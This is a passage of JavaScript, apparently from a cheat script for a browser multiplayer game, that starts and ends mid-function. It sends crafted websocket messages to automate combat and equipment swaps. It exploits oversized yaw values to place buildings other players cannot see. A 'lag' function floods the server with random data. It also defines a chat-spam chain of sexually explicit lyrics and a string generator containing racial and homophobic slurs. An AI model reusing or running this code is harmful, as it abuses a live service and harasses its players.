});
setTimeout(() => {
jw = setInterval(() => {
place(foodType); //heal
clearInterval(jw);
});
}, 0);
doNewSend(["13c", [1, 6, 0]]);//Auto Buy Soldier if have gold
doNewSend(["13c", [0, 6, 0]]); //put on soldier
}
}
if (item == "h" && data[1] == myPlayer.id) {
if (data[2] < 56 && data[2] > 0 && empanti == true && AntiInsta == true &&
isEnemyNear == true) {
doNewSend(["13c", [1, 22, 0]]);
doNewSend(["13c", [0, 22, 0]]);
doNewSend(["13c", [1, 13, 1]]);
doNewSend(["13c", [0, 13, 1]]);
setTimeout(() => {
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
}, 160);
}
}
if (item == "h" && data[1] == myPlayer.id) {
if (data[2] < 70 && data[2] > 0 && antibullspam == true && isEnemyNear == true) {
setTimeout( () => {
place(foodType, null);
}, 85);
}
}
if (item == "h" && data[1] == myPlayer.id) {
if (data[2] < 70 && data[2] > 0 && antibullspam == true && isEnemyNear == true) {
setTimeout( () => {
um = 1;
um = 1;
um = 1;
um = 1;
um = 1;
um = 1;
um = 1;
um = 1;
um = 1;
um = 1;
um = 1;
um = 1;
um = 1;
um = 1;
um = 1;
um = 1;
um = 1;
um = 1;
um = 1;
um = 1;
}, 500);
}
}
if(item == "h" && data[1] == myPlayer.id) {
if(data[2] < 56 && data[2] > 0 && myPlayer.hat == 11 && myPlayer.accessory == 21 &&
nearestEnemy[9] != "6" && Pussyantibullalso == true) {//anti bull
place(foodType)
doNewSend(["13c", [0, 0, 1]]); //remove wings for fun :)
place(foodType)
doNewSend(["5", [primary, true]]);
autoaim = true;
doNewSend(["13c", [1, 18, 1]]); //blood wing
doNewSend(["13c", [1, 7, 0]]); //bull helm
doNewSend(["13c", [0, 18, 1]]); //blood wing
doNewSend(["13c", [0, 7, 0]]); //bull helm
doNewSend(["c", [1]]); //hit
setTimeout( () => {
doNewSend(["c", [1]]); //hit
doNewSend(["13c", [1, 21, 1]]); //cx wing
doNewSend(["13c", [1, 53, 0]]); //turret gear
doNewSend(["13c", [0, 21, 1]]); //cx wing
doNewSend(["13c", [0, 53, 0]]); //turret gear
doNewSend(["5", [secondary, true]]);
}, 90);
setTimeout( () => {
doNewSend(["c", [1]]); //hit
doNewSend(["13c", [0, 21, 1]]); //cx wing
doNewSend(["13c", [0, 6, 0]]); //soldier helm
doNewSend(["c", [0]]);
doNewSend(["c", [0, null]]);
autoaim = false;
}, 200);
}
}
if(item == "h" && data[1] == myPlayer.id) {
if(data[2] < 100 && data[2] > 0 && healToggle == 1) {
setTimeout( () => {
place(foodType, null);
}, healSpeed);
}
}
update();
}
function doNewSend(sender){
ws.send(new Uint8Array(Array.from(msgpack5.encode(sender))));
}
function acc(id) {
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [0, id, 1]]);
}
function hat(id) {
doNewSend(["13c", [0, id, 0]]);
}
function heal() {
doNewSend(["5", [foodType, null]]);
doNewSend(["c", [1]]);
doNewSend(["c", [0]]);
doNewSend(["5", [myPlayer.weapon, true]]);
}
function generator() {
var length = Math.floor(Math.random() * 162348972836523879832439628626932865);
var specChar = "a s car ehrr rrrr rr r k t fflo cd( )-/:?3 4099 327 8572403 56782
34 23 9 83 26 drrh g j w o q p g gi nigga ter r ggay asd s w l z ld of fpq do gas
gh l oq apf og ; 235] [h56 yh54ng 3 q3 qfr5t4 zlcrttu elg gji rkeo reioeore g g g
g g gew e f e f ff w q q ad s sd aw dw f gt ht htyj uk ik u fr tgr tyu yi rw q
1 32 43 7 6 76 8 90 07 5 6 ` -*/ bgfbrt-*- /*/ - /*- *-*-., ,/.,
'vr;e".split('');
return(Math.random() * length).toString(36).substr(2).split('').map((char, index)
=> {
const ToF = (prob = 4)=> Math.floor(Math.random() * prob);
return(ToF() ? '' : ' ') + (ToF(2) ?
specChar[Math.floor(Math.random()*specChar.length)] : (ToF(2) ?
char.toUpperCase() : char)) + (ToF() ? '' : ' ');
}).join('');
}
function storeBuy(newHat, newAcc) {
doNewSend(["13c", [1, newHat, 0]]);
doNewSend(["13c", [1, newAcc, 1]]);
}
function storeNormal() {
storeEquip(0, 0);
if(inTurretSpam) {
storeEvent(ID_EmpHelmet, (primary == ID_Stick) ? ID_MonkeyTail :
ID_CorruptXWings);
} else if(healToggle == 3 && isEnemyNear) {
storeEvent(ID_SpikeGear, (primary == ID_Stick) ? ID_MonkeyTail :
ID_CorruptXWings);
} else if(isEnemyNear) {
storeEvent((healToggle == 3) ? ID_SpikeGear : ID_SoldierHelmet, (primary ==
ID_Stick) ? ID_MonkeyTail : ID_CorruptXWings);
} else if(myPlayer.y < 2400) {
storeEvent(ID_WinterCap, ID_MonkeyTail);
} else if(myPlayer.y > 6850 && myPlayer.y < 7550) {
storeEvent(ID_FlipperHat, ID_MonkeyTail);
} else if(myPlayer.y >= 6850) {
storeEvent(ID_BoosterHat, ID_MonkeyTail);
} else if(myPlayer.y >= 2400 && myPlayer.y <= 7550) {
storeEvent(ID_BoosterHat, ID_MonkeyTail);
} else chat("INVALID EQUIP");
}
var ID_Shame = 45
, ID_MooCap = 51
, ID_AppleCap = 50
, ID_MooHead = 28
, ID_PigHead = 29
, ID_FluffHead = 30
, ID_PandouHead = 36
, ID_BearHead = 37
, ID_MonkeyHead = 38
, ID_PolarHead = 44
, ID_FezHat = 35
, ID_EnigmaHat = 42
, ID_BlitzHat = 43
, ID_BobXIIIHat = 49
, ID_Pumpkin = 57
, ID_BumbleHat = 8
, ID_StrawHat = 2
, ID_WinterCap = 15
, ID_CowbowHat = 5
, ID_RangerHat = 4
, ID_ExplorerHat = 18
, ID_FlipperHat = 31
, ID_MarksmanCap = 1
, ID_BushGear = 10
, ID_Halo = 48
, ID_SoldierHelmet = 6
, ID_AntiVenomGear = 23
, ID_MedicGear = 13
, ID_MinersHelmet = 9
, ID_MusketeerHat = 32
, ID_BullHelmet = 7
, ID_EmpHelmet = 22
, ID_BoosterHat = 12
, ID_BarbarianArmor = 26
, ID_PlagueMask = 21
, ID_BullMask = 46
, ID_WindmillHat = 14
, ID_SpikeGear = 11
, ID_TurretGear = 53
, ID_SamuraiArmor = 20
, ID_DarkKnight = 58
, ID_ScavengerGear = 27
, ID_TankGear = 40
, ID_TheifGear = 52
, ID_BloodThirster = 55
, ID_AssassinGear = 56;
var ID_Snowball = 12
, ID_TreeCape = 9
, ID_StoneCape = 10
, ID_CookieCape = 3
, ID_CowCape = 8
, ID_MonkeyTail = 11
, ID_AppleBasket = 17
, ID_WinterCape = 6
, ID_SkullCape = 4
, ID_DashCape = 5
, ID_DragonCape = 2
, ID_SuperCape = 1
, ID_TrollCape = 7
, ID_Thorns = 14
, ID_Blockades = 15
, ID_DevilsTail = 20
, ID_Sawblade = 16
, ID_AngelWings = 13
, ID_ShadowWings = 19
, ID_BloodWings = 18
, ID_CorruptXWings = 21;
var ID_ToolHammer = 0
, ID_HandAxe = 1
, ID_GreatAxe = 2
, ID_ShortSword = 3
, ID_Katana = 4
, ID_Polearm = 5
, ID_Bat = 6
, ID_Daggers = 7
, ID_Stick = 8
, ID_HuntingBow = 9
, ID_GreatHammer = 10
, ID_WoodenShield = 11
, ID_Crossbow = 12
, ID_RepeaterCrossbow = 13
, ID_McGrabby = 14
, ID_Musket = 15
, ID_Apple = 16
, ID_Cookie = 17
, ID_Cheese = 18
, ID_StoneWall = 20
, ID_CastleWall = 21
, ID_Spikes = 22
, ID_GreaterSpikes = 23
, ID_PoisonSpikes = 24
, ID_SpinningSpikes = 25
, ID_Windmill = 26
, ID_FasterWindmill = 27
, ID_Powermill = 28
, ID_Mine = 29
, ID_Sapling = 30
, ID_PitTrap = 31
, ID_BoostPad = 32
, ID_Turret = 33
, ID_Platform = 34
, ID_HealingPad = 35
, ID_Spawnpad = 36
, ID_Blocker = 37
, ID_Teleporter = 38
function upgradeItem(id) {
doNewSend(["6", [id]]);
}
function chat(string) {
doNewSend(["ch", [string.slice(0, 30)]]);
}
function upgradeAllItems(ID_1, ID_2, ID_3, ID_4, ID_5, ID_6, ID_7, ID_8, ID_9) {
upgradeItem(ID_1);
upgradeItem(ID_2);
upgradeItem(ID_3);
upgradeItem(ID_4);
upgradeItem(ID_5);
upgradeItem(ID_6);
upgradeItem(ID_7);
upgradeItem(ID_8);
upgradeItem(ID_9);
}
let invYAW_1 = {
"0": -1.29774e+308,
"1": -1.40154e+308,
"2": -1.21039e+308,
"3": -1.11012e+308,
"4": -1.4526e+308,
"5": -1.4127e+308,
"6": -1.33884e+308,
"7": -1.32535e+308,
"8": -1.22508e+308,
"9": -1.2421e+308,
"10": -1.13773e+308,
"11": -1.4538e+308,
"12": -1.20573e+308,
"13": -1.15828e+308,
"14": -1.11838e+308,
"15": -1.2832e+308,
"16": -1.2433e+308,
"17": -1.16944e+308,
"18": -1.12954e+308,
"19": -1.40755e+308,
"20": -1.15948e+308,
"21": -1.3243e+308,
"22": -1.2844e+308,
"23": -1.2445e+308,
"24": -1.17064e+308,
"25": -1.27444e+308,
"26": -1.1138e+308,
"27": -1.19119e+308,
"28": -1.3255e+308,
"29": -1.2856e+308,
"30": -1.23815e+308,
"31": -1.19825e+308,
"32": -1.1549e+308,
"33": -1.115e+308,
"34": -1.2188e+308,
"35": -1.3226e+308,
"36": -1.10504e+308,
"37": -1.23935e+308,
"38": -1.34315e+308,
"39": -1.1561e+308,
"40": -1.1162e+308,
"41": -1.3637e+308,
"42": -1.14614e+308,
"43": -1.10624e+308,
"44": -1.26696e+308,
"45": -1.7871e+308,
"46": -1.18371e+308,
"47": -1.2611e+308,
"48": -1.27812e+308,
"49": -1.14734e+308,
"50": -1.7244e+308,
"51": -1.26816e+308,
"52": -1.1943e+308,
"53": -1.18491e+308,
"54": -1.2623e+308,
"55": -1.21485e+308,
"56": -1.17495e+308,
"57": -1.30926e+308,
"58": -1.29987e+308,
"59": -1.22601e+308,
"60": -1.18611e+308,
"61": -1.6987e+308,
"62": -1.21605e+308,
"63": -1.23307e+308,
"64": -1.1328e+308,
"65": -1.11931e+308,
"66": -1.22721e+308,
"67": -1.33101e+308,
"68": -1.6999e+308,
"69": -1.66e+308,
"70": -1.58614e+308,
"71": -1.134e+308,
"72": -1.15102e+308,
"73": -1.25482e+308,
"74": -1.741e+308,
"75": -1.7011e+308,
"76": -1.13167e+308,
"77": -1.20151e+308,
"78": -1.16161e+308,
"79": -1.29592e+308,
"80": -1.39972e+308,
"81": -1.7422e+308,
"82": -1.17277e+308,
"83": -1.12532e+308,
"84": -1.20271e+308,
"85": -1.5716e+308,
"86": -1.5317e+308,
"87": -1.6355e+308,
"88": -1.20977e+308,
"89": -1.20038e+308,
"90": -1.12652e+308,
"91": -1.23032e+308,
"92": -1.5728e+308,
"93": -1.6766e+308,
"94": -1.25087e+308,
"95": -1.24148e+308,
"96": -1.16762e+308,
"97": -1.12772e+308,
"98": -1.23152e+308,
"99": -1.574e+308,
"100": -1.6778e+308,
"101": -1.28258e+308,
"102": -1.24268e+308,
"103": -1.4034e+308,
"104": -1.5072e+308,
"105": -1.6151e+308,
"106": -1.18937e+308,
"107": -1.20639e+308,
"108": -1.10202e+308,
"109": -1.27029e+308,
"110": -1.4046e+308,
"111": -1.5084e+308,
"112": -1.11318e+308,
"113": -1.21698e+308,
"114": -1.14312e+308,
"115": -1.10322e+308,
"116": -1.4457e+308,
"117": -1.5495e+308,
"118": -1.5096e+308,
"119": -1.11438e+308,
"120": -1.21818e+308,
"121": -1.3789e+308,
"122": -1.339e+308,
"123": -1.23873e+308,
"124": -1.5507e+308,
"125": -1.15548e+308,
"126": -1.14199e+308,
"127": -1.42e+308,
"128": -1.3801e+308,
"129": -1.488e+308,
"130": -1.26634e+308,
"131": -1.25695e+308,
"132": -1.15668e+308,
"133": -1.14319e+308,
"134": -1.4212e+308,
"135": -1.3813e+308,
"136": -1.30744e+308,
"137": -1.29805e+308,
"138": -1.22419e+308,
"139": -1.18429e+308,
"140": -1.28809e+308,
"141": -1.4224e+308,
"142": -1.20484e+308,
"143": -1.13098e+308,
"144": -1.11749e+308,
"145": -1.2518e+308,
"146": -1.2119e+308,
"147": -1.13804e+308,
"148": -1.12865e+308,
"149": -1.26296e+308,
"150": -1.15859e+308,
"151": -1.11869e+308,
"152": -1.253e+308,
"153": -1.24361e+308,
"154": -1.13924e+308,
"155": -1.12985e+308,
"156": -1.19969e+308,
"157": -1.15979e+308,
"158": -1.2941e+308,
"159": -1.2542e+308,
"160": -1.18034e+308,
"161": -1.17095e+308,
"162": -1.27475e+308,
"163": -1.40906e+308,
"164": -1.1915e+308,
"165": -1.2953e+308,
"166": -1.10415e+308,
"167": -1.21205e+308,
"168": -1.7586e+308,
"169": -1.1247e+308,
"170": -1.11531e+308,
"171": -1.21911e+308,
"172": -1.32291e+308,
"173": -1.10535e+308,
"174": -1.21325e+308,
"175": -1.7598e+308,
"176": -1.1259e+308,
"177": -1.43787e+308,
"178": -1.36401e+308,
"179": -1.14645e+308,
"180": -1.380253e+308,
"181": -1.24086e+308,
"182": -1.34466e+308,
"183": -1.15351e+308,
"184": -1.26141e+308,
"185": -1.6303e+308,
"186": -1.7341e+308,
"187": -1.28196e+308,
"188": -1.26847e+308,
"189": -1.1682e+308,
"190": -1.18522e+308,
"191": -1.26261e+308,
"192": -1.6315e+308,
"193": -1.5916e+308,
"194": -1.30957e+308,
"195": -1.30018e+308,
"196": -1.22632e+308,
"197": -1.18642e+308,
"198": -1.6726e+308,
"199": -1.6327e+308,
"200": -1.7365e+308,
"201": -1.1026e+308,
"202": -1.23691e+308,
"203": -1.22752e+308,
"204": -1.5659e+308,
"205": -1.6738e+308,
"206": -1.7776e+308,
"207": -1.58645e+308,
"208": -1.13431e+308,
"209": -1.5032e+308,
"210": -1.607e+308,
"211": -1.5671e+308,
"212": -1.17188e+308,
"213": -1.24927e+308,
"214": -1.20182e+308,
"215": -1.13551e+308,
"216": -1.5044e+308,
"217": -1.6082e+308,
"218": -1.18247e+308,
"219": -1.31678e+308,
"220": -1.12563e+308,
"221": -1.4376e+308,
"222": -1.16312e+308,
"223": -1.6493e+308,
"224": -1.6094e+308,
"225": -1.21008e+308,
"226": -1.31798e+308,
"227": -1.335e+308,
"228": -1.4388e+308,
"229": -1.36494e+308,
"230": -1.12097e+308,
"231": -1.25118e+308,
"232": -1.24179e+308,
"233": -1.20189e+308,
"234": -1.4799e+308,
"235": -1.44e+308,
"236": -1.36614e+308,
"237": -1.11807e+308,
"238": -1.28289e+308,
"239": -1.17852e+308,
"240": -1.521e+308,
"241": -1.4811e+308,
"242": -1.28995e+308,
"243": -1.15917e+308,
"244": -1.14978e+308,
"245": -1.3105e+308,
"246": -1.4143e+308,
"247": -1.19674e+308,
"248": -1.27413e+308,
"249": -1.11349e+308,
"250": -1.19088e+308,
"251": -1.2079e+308,
"252": -1.3117e+308,
"253": -1.4155e+308,
"254": -1.19794e+308,
"255": -1.30584e+308,
"256": -1.11469e+308,
"257": -1.21849e+308,
"258": -1.3528e+308,
"259": -1.3129e+308,
"260": -1.23904e+308,
"261": -1.37335e+308,
"262": -1.1822e+308,
"263": -1.25959e+308,
"264": -1.2461e+308,
"265": -1.354e+308,
"266": -1.4578e+308,
"267": -1.26665e+308,
"268": -1.37455e+308,
"269": -1.1834e+308,
"270": -1.1435e+308,
"271": -1.10015e+308,
"272": -1.17754e+308,
"273": -1.30775e+308,
"274": -1.29836e+308,
"275": -1.25846e+308,
"276": -1.1846e+308,
"277": -1.2884e+308,
"278": -1.21454e+308,
"279": -1.17464e+308,
"280": -1.13129e+308,
"281": -1.1178e+308,
"282": -1.2257e+308,
"283": -1.3295e+308,
"284": -1.13835e+308,
"285": -1.689e+308,
"286": -1.20635e+308,
"287": -1.1589e+308,
"288": -1.119e+308,
"289": -1.25331e+308,
"290": -1.24392e+308,
"291": -1.13955e+308,
"292": -1.13016e+308,
"293": -1.26447e+308,
"294": -1.1601e+308,
"295": -1.29441e+308,
"296": -1.25451e+308,
"297": -1.38882e+308,
"298": -1.7272e+308,
"299": -1.27506e+308,
"300": -1.2012e+308,
"301": -1.1613e+308,
"302": -1.11795e+308,
"303": -1.28212e+308,
"304": -1.7683e+308,
"305": -1.7284e+308,
"306": -1.12501e+308,
"307": -1.23291e+308,
"308": -1.19301e+308,
"309": -1.32322e+308,
"310": -1.10566e+308,
"311": -1.7695e+308,
"312": -1.20007e+308,
"313": -1.12621e+308,
"314": -1.43818e+308,
"315": -1.5989e+308,
"316": -1.14676e+308,
"317": -1.28107e+308,
"318": -1.24117e+308,
"319": -1.34497e+308,
"320": -1.15382e+308,
"321": -1.23121e+308,
"322": -1.6001e+308,
"323": -1.708e+308,
"324": -1.28227e+308,
"325": -1.26878e+308,
"326": -1.19492e+308,
"327": -1.15502e+308,
"328": -1.4975e+308,
"329": -1.21547e+308,
"330": -1.7092e+308,
"331": -1.10171e+308,
"332": -1.26998e+308,
"333": -1.19612e+308,
"334": -1.5386e+308,
"335": -1.6424e+308,
"336": -1.21667e+308,
"337": -1.14281e+308,
"338": -1.10291e+308,
"339": -1.62305e+308,
"340": -1.5797e+308,
"341": -1.5398e+308,
"342": -1.11407e+308,
"343": -1.21787e+308,
"344": -1.35218e+308,
"345": -1.3692e+308,
"346": -1.473e+308,
"347": -1.5809e+308,
"348": -1.15517e+308,
"349": -1.14168e+308,
"350": -1.24958e+308,
"351": -1.4103e+308,
"352": -1.3704e+308,
"353": -1.29654e+308,
"354": -1.5821e+308,
"355": -1.18278e+308,
"356": -1.28658e+308,
"357": -1.42089e+308,
"358": -1.4115e+308,
"359": -1.12947e+308
};
let YAW_1 = invYAW_1;
function dir_1(dir) {
return Math.atan2(Math.sin(dir), Math.cos(dir));
}
function FixInvisibleBuildings(rad) {
if (rad == 0) return 0;
var yaw = rad * 0.180 / Math.PI;
var nonZeroYaw = yaw + 0.180;
var reversedYaw = nonZeroYaw;
var shiftedYaw = (0.360 + reversedYaw - 0.180) % 0.360;
return Math.round(shiftedYaw * 1000) % 360;
};
function invisplace(id, angle) {
doNewSend(["5", [id, null]]);
doNewSend(["c", [1, YAW_1[FixInvisibleBuildings(dir_1(angle))]]]);
doNewSend(["c", [0, YAW_1[FixInvisibleBuildings(dir_1(angle))]]]);
doNewSend(["5", [myPlayer.weapon, true]]);
}
Math.RAND_NUMBER = (max, min) => {
return Math.floor(Math.random() * (max - min + 1)) + min;
};
function lag(level, power) {
for (let i = 0; i < level; i++) {
ws.oldSend(Math.RAND_NUMBER(0, power));
};
}
var ChatSpam0;
var ChatSpam1;
var ChatSpam2;
var ChatSpam3;
var ChatSpam4;
var ChatSpam5;
var ChatSpam6;
var ChatSpam7;
var ChatSpam8;
var ChatSpam9;
var ChatSpam10;
var ChatSpam11;
var ChatSpam12;
var ChatSpam13;
var ChatSpam14;
var ChatSpam15;
var ChatSpam16;
var ChatSpam17;
var ChatSpam18;
var ChatSpam19;
var ChatSpam20;
var ChatSpam21;
var ChatSpam22;
var ChatSpam23;
var ChatSpam24;
var ChatSpam25;
var ChatSpam26;
var ChatSpam27;
var ChatSpam28;
var ChatSpam29;
var ChatSpam30;
var ChatSpam31;
var ChatSpam32;
var ChatSpam33;
var ChatSpam34;
var ChatSpam35;
var ChatSpam36;
var ChatSpam37;
var ChatSpam38;
var ChatSpam39;
var ChatSpam40;
var ChatSpam41;
var ChatSpam42;
var ChatSpam43;
var ChatSpam44;
var ChatSpam45;
var ChatSpam46;
var ChatSpam47;
var ChatSpam48;
var ChatSpam49;
var ChatSpam50;
var ChatSpam51;
var ChatSpam52;
var ChatSpam53;
var ChatSpam54;
var ChatSpam55;
var ChatSpam56;
var ChatSpam57;
var ChatSpam58;
var ChatSpam59;
var ChatSpam60;
var ChatSpam61;
var ChatSpam62;
var ChatSpam63;
var ChatSpam64;
var ChatSpam65;
var ChatSpam66;
var ChatSpam67;
var ChatSpam68;
var ChatSpam69;
var ChatSpam70;
var ChatSpam71;
var ChatSpam72;
var ChatSpam73;
var ChatSpam74;
var ChatSpam75;
var ChatSpam76;
var ChatSpam77;
var ChatSpam78;
var ChatSpam79;
var ChatSpam80;
var ChatSpam81;
var ChatSpam82;
var ChatSpam = true;
function ChatSpamFC0() {
doNewSend(["ch", ["Ah (Ah, Ah, Ahhhh)"]]);
clearTimeout(ChatSpam0);
ChatSpam1 = setTimeout(function(){ ChatSpamFC1(); }, 1200);
}
function ChatSpamFC1() {
doNewSend(["ch", ["Ahhhhhhh~"]]);
clearTimeout(ChatSpam1);
ChatSpam1 = setTimeout(function(){ ChatSpamFC2(); }, 1200);
}
function ChatSpamFC2() {
doNewSend(["ch", ["Do you like my Cum?"]]);
clearTimeout(ChatSpam2);
ChatSpam3 = setTimeout(function(){ ChatSpamFC3(); }, 1200);
}
function ChatSpamFC3() {
doNewSend(["ch", ["Guess you're ready 'cause"]]);
clearTimeout(ChatSpam3);
ChatSpam4 = setTimeout(function(){ ChatSpamFC4(); }, 1200);
}
function ChatSpamFC4() {
doNewSend(["ch", ["I'm Cumming for you"]]);
clearTimeout(ChatSpam4);
ChatSpam5 = setTimeout(function(){ ChatSpamFC5(); }, 1200);
}
function ChatSpamFC5() {
doNewSend(["ch", ["Let's get out, I wanna Cum-,"]]);
clearTimeout(ChatSpam5);
ChatSpam6 = setTimeout(function(){ ChatSpamFC6(); }, 1200);
}
function ChatSpamFC6() {
doNewSend(["ch", ["Cum along, get it on"]]);
clearTimeout(ChatSpam6);
ChatSpam7 = setTimeout(function(){ ChatSpamFC7(); }, 1200);
}
function ChatSpamFC7() {
doNewSend(["ch", ["Gonna take my Dick,"]]);
clearTimeout(ChatSpam7);
ChatSpam8 = setTimeout(function(){ ChatSpamFC8(); }, 1400);
}
function ChatSpamFC8() {
doNewSend(["ch", ["gonna put it in"]]);
clearTimeout(ChatSpam8);
ChatSpam9 = setTimeout(function(){ ChatSpamFC9(); }, 1200);
}
function ChatSpamFC9() {
doNewSend(["ch", ["Gonna Cum along 'til"]]);
clearTimeout(ChatSpam9);
ChatSpam10 = setTimeout(function(){ ChatSpamFC10(); }, 1200);
}
function ChatSpamFC10() {
doNewSend(["ch", ["I get you pregnant"]]);
clearTimeout(ChatSpam10);
ChatSpam11 = setTimeout(function(){ ChatSpamFC11(); }, 1200);
}
function ChatSpamFC11() {
doNewSend(["ch", ["'Cause I'm crazy, hot and ready"]]);
clearTimeout(ChatSpam11);
ChatSpam12 = setTimeout(function(){ ChatSpamFC12(); }, 1200);
}
function ChatSpamFC12() {
doNewSend(["ch", ["but you like it"]]);
clearTimeout(ChatSpam12);
ChatSpam13 = setTimeout(function(){ ChatSpamFC13(); }, 1200);
}
function ChatSpamFC13() {
doNewSend(["ch", ["I wanna Cum for you"]]);
clearTimeout(ChatSpam13);
ChatSpam14 = setTimeout(function(){ ChatSpamFC14(); }, 1200);
}
function ChatSpamFC14() {
doNewSend(["ch", ["(Shall I Cum now?)"]]);
clearTimeout(ChatSpam14);
ChatSpam15 = setTimeout(function(){ ChatSpamFC15(); }, 1200);
}
function ChatSpamFC15() {
doNewSend(["ch", ["Cum, Cum, Cum"]]);
clearTimeout(ChatSpam15);
ChatSpam16 = setTimeout(function(){ ChatSpamFC16(); }, 1200);
}
function ChatSpamFC16() {
doNewSend(["ch", ["I'm gonna Cum on the gas"]]);
clearTimeout(ChatSpam16);
ChatSpam17 = setTimeout(function(){ ChatSpamFC17(); }, 1200);
}
function ChatSpamFC17() {
doNewSend(["ch", ["Tonight, I'll fly"]]);
clearTimeout(ChatSpam17);
ChatSpam18 = setTimeout(function(){ ChatSpamFC18(); }, 1200);
}
function ChatSpamFC18() {
doNewSend(["ch", ["(and be your lover)"]]);
clearTimeout(ChatSpam18);
ChatSpam19 = setTimeout(function(){ ChatSpamFC19(); }, 1200);
}
function ChatSpamFC19() {
doNewSend(["ch", ["Yeah, yeah, yeah"]]);
clearTimeout(ChatSpam19);
ChatSpam20 = setTimeout(function(){ ChatSpamFC20(); }, 1200);
}
function ChatSpamFC20() {
doNewSend(["ch", ["I'll Cum so quick as a flash"]]);
clearTimeout(ChatSpam20);
ChatSpam21 = setTimeout(function(){ ChatSpamFC21(); }, 1200);
}
function ChatSpamFC21() {
doNewSend(["ch", ["And I'll be your hero"]]);
clearTimeout(ChatSpam21);
ChatSpam22 = setTimeout(function(){ ChatSpamFC22(); }, 1200);
}
function ChatSpamFC22() {
doNewSend(["ch", ["Cum, Cum, Cum"]]);
clearTimeout(ChatSpam22);
ChatSpam23 = setTimeout(function(){ ChatSpamFC23(); }, 1200);
}
function ChatSpamFC23() {
doNewSend(["ch", ["I'm gonna Cum as a flash"]]);
clearTimeout(ChatSpam23);
ChatSpam24 = setTimeout(function(){ ChatSpamFC24(); }, 1200);
}
function ChatSpamFC24() {
doNewSend(["ch", ["Tonight, I'll Cum"]]);
clearTimeout(ChatSpam24);
ChatSpam25 = setTimeout(function(){ ChatSpamFC25(); }, 1200);
}
function ChatSpamFC25() {
doNewSend(["ch", ["(to be the winner)"]]);
clearTimeout(ChatSpam25);
ChatSpam26 = setTimeout(function(){ ChatSpamFC26(); }, 1200);
}
function ChatSpamFC26() {
doNewSend(["ch", ["Yeah, yeah, yeah"]]);
clearTimeout(ChatSpam26);
ChatSpam0 = setTimeout(function(){ ChatSpamFC27(); }, 1200);
}
function ChatSpamFC27() {
doNewSend(["ch", ["I'm gonna Cum on the gas"]]);
clearTimeout(ChatSpam27);
ChatSpam28 = setTimeout(function(){ ChatSpamFC28(); }, 2000);
}
function ChatSpamFC28() {
doNewSend(["ch", ["And you'll see the big show"]]);
clearTimeout(ChatSpam28);
ChatSpam29 = setTimeout(function(){ ChatSpamFC29(); }, 2000);
}
function ChatSpamFC29() {
doNewSend(["ch", ["Don't be lazy 'cause"]]);
clearTimeout(ChatSpam29);
ChatSpam30 = setTimeout(function(){ ChatSpamFC30(); }, 2000);
}
function ChatSpamFC30() {
doNewSend(["ch", ["I'm Cumming for you"]]);
clearTimeout(ChatSpam30);
ChatSpam31 = setTimeout(function(){ ChatSpamFC31(); }, 2000);
}
function ChatSpamFC31() {
doNewSend(["ch", ["It's like a hot sensation"]]);
clearTimeout(ChatSpam31);
ChatSpam32 = setTimeout(function(){ ChatSpamFC32(); }, 2000);
}
function ChatSpamFC32() {
doNewSend(["ch", ["Got this power"]]);
clearTimeout(ChatSpam32);
ChatSpam33 = setTimeout(function(){ ChatSpamFC33(); }, 2000);
}
function ChatSpamFC33() {
doNewSend(["ch", ["that is making me Cum"]]);
clearTimeout(ChatSpam33);
ChatSpam34 = setTimeout(function(){ ChatSpamFC34(); }, 2000);
}
function ChatSpamFC34() {
doNewSend(["ch", ["Yes, I've got a crush on you,"]]);
clearTimeout(ChatSpam34);
ChatSpam35 = setTimeout(function(){ ChatSpamFC35(); }, 2000);
}
function ChatSpamFC35() {
doNewSend(["ch", ["ready, now, ready, Cum!"]]);
clearTimeout(ChatSpam35);
ChatSpam36 = setTimeout(function(){ ChatSpamFC36(); }, 2000);
}
function ChatSpamFC36() {
doNewSend(["ch", ["Gonna take my Dick,"]]);
clearTimeout(ChatSpam36);
ChatSpam37 = setTimeout(function(){ ChatSpamFC37(); }, 2000);
}
function ChatSpamFC37() {
doNewSend(["ch", ["gonna put it in"]]);
clearTimeout(ChatSpam37);
ChatSpam38 = setTimeout(function(){ ChatSpamFC38(); }, 2000);
}
function ChatSpamFC38() {
doNewSend(["ch", ["Gonna drive alone 'til I get you"]]);
clearTimeout(ChatSpam38);
ChatSpam39 = setTimeout(function(){ ChatSpamFC39(); }, 2000);
}
function ChatSpamFC39() {
doNewSend(["ch", ["pregnant"]]);
clearTimeout(ChatSpam39);
ChatSpam0 = setTimeout(function(){ ChatSpamFC40(); }, 2000);
}
function ChatSpamFC40() {
doNewSend(["ch", ["'Cause I'm crazy, hot and ready"]]);
clearTimeout(ChatSpam40);
ChatSpam1 = setTimeout(function(){ ChatSpamFC41(); }, 2000);
}
function ChatSpamFC41() {
doNewSend(["ch", ["but you like it"]]);
clearTimeout(ChatSpam41);
ChatSpam1 = setTimeout(function(){ ChatSpamFC42(); }, 2000);
}
function ChatSpamFC42() {
doNewSend(["ch", ["I wanna Cum for you"]]);
clearTimeout(ChatSpam42);
ChatSpam3 = setTimeout(function(){ ChatSpamFC43(); }, 2000);
}
function ChatSpamFC43() {
doNewSend(["ch", ["(Shall I Cum now?)"]]);
clearTimeout(ChatSpam43);
ChatSpam4 = setTimeout(function(){ ChatSpamFC44(); }, 2000);
}
function ChatSpamFC44() {
doNewSend(["ch", ["Cum, Cum, Cum"]]);
clearTimeout(ChatSpam44);
ChatSpam5 = setTimeout(function(){ ChatSpamFC45(); }, 2000);
}
function ChatSpamFC45() {
doNewSend(["ch", ["I'm gonna Cum on the gas"]]);
clearTimeout(ChatSpam45);
ChatSpam6 = setTimeout(function(){ ChatSpamFC46(); }, 2000);
}
function ChatSpamFC46() {
doNewSend(["ch", ["Tonight, I'll Cum"]]);
clearTimeout(ChatSpam46);
ChatSpam7 = setTimeout(function(){ ChatSpamFC47(); }, 2000);
}
function ChatSpamFC47() {
doNewSend(["ch", ["(and be your lover)"]]);
clearTimeout(ChatSpam47);
ChatSpam8 = setTimeout(function(){ ChatSpamFC48(); }, 2000);
}
function ChatSpamFC48() {
doNewSend(["ch", ["Yeah, yeah, yeah"]]);
clearTimeout(ChatSpam48);
ChatSpam9 = setTimeout(function(){ ChatSpamFC49(); }, 2000);
}
function ChatSpamFC49() {
doNewSend(["ch", ["I'll Cum quick as a flash"]]);
clearTimeout(ChatSpam49);
ChatSpam10 = setTimeout(function(){ ChatSpamFC50(); }, 2000);
}
function ChatSpamFC50() {
doNewSend(["ch", ["And I'll be your hero"]]);
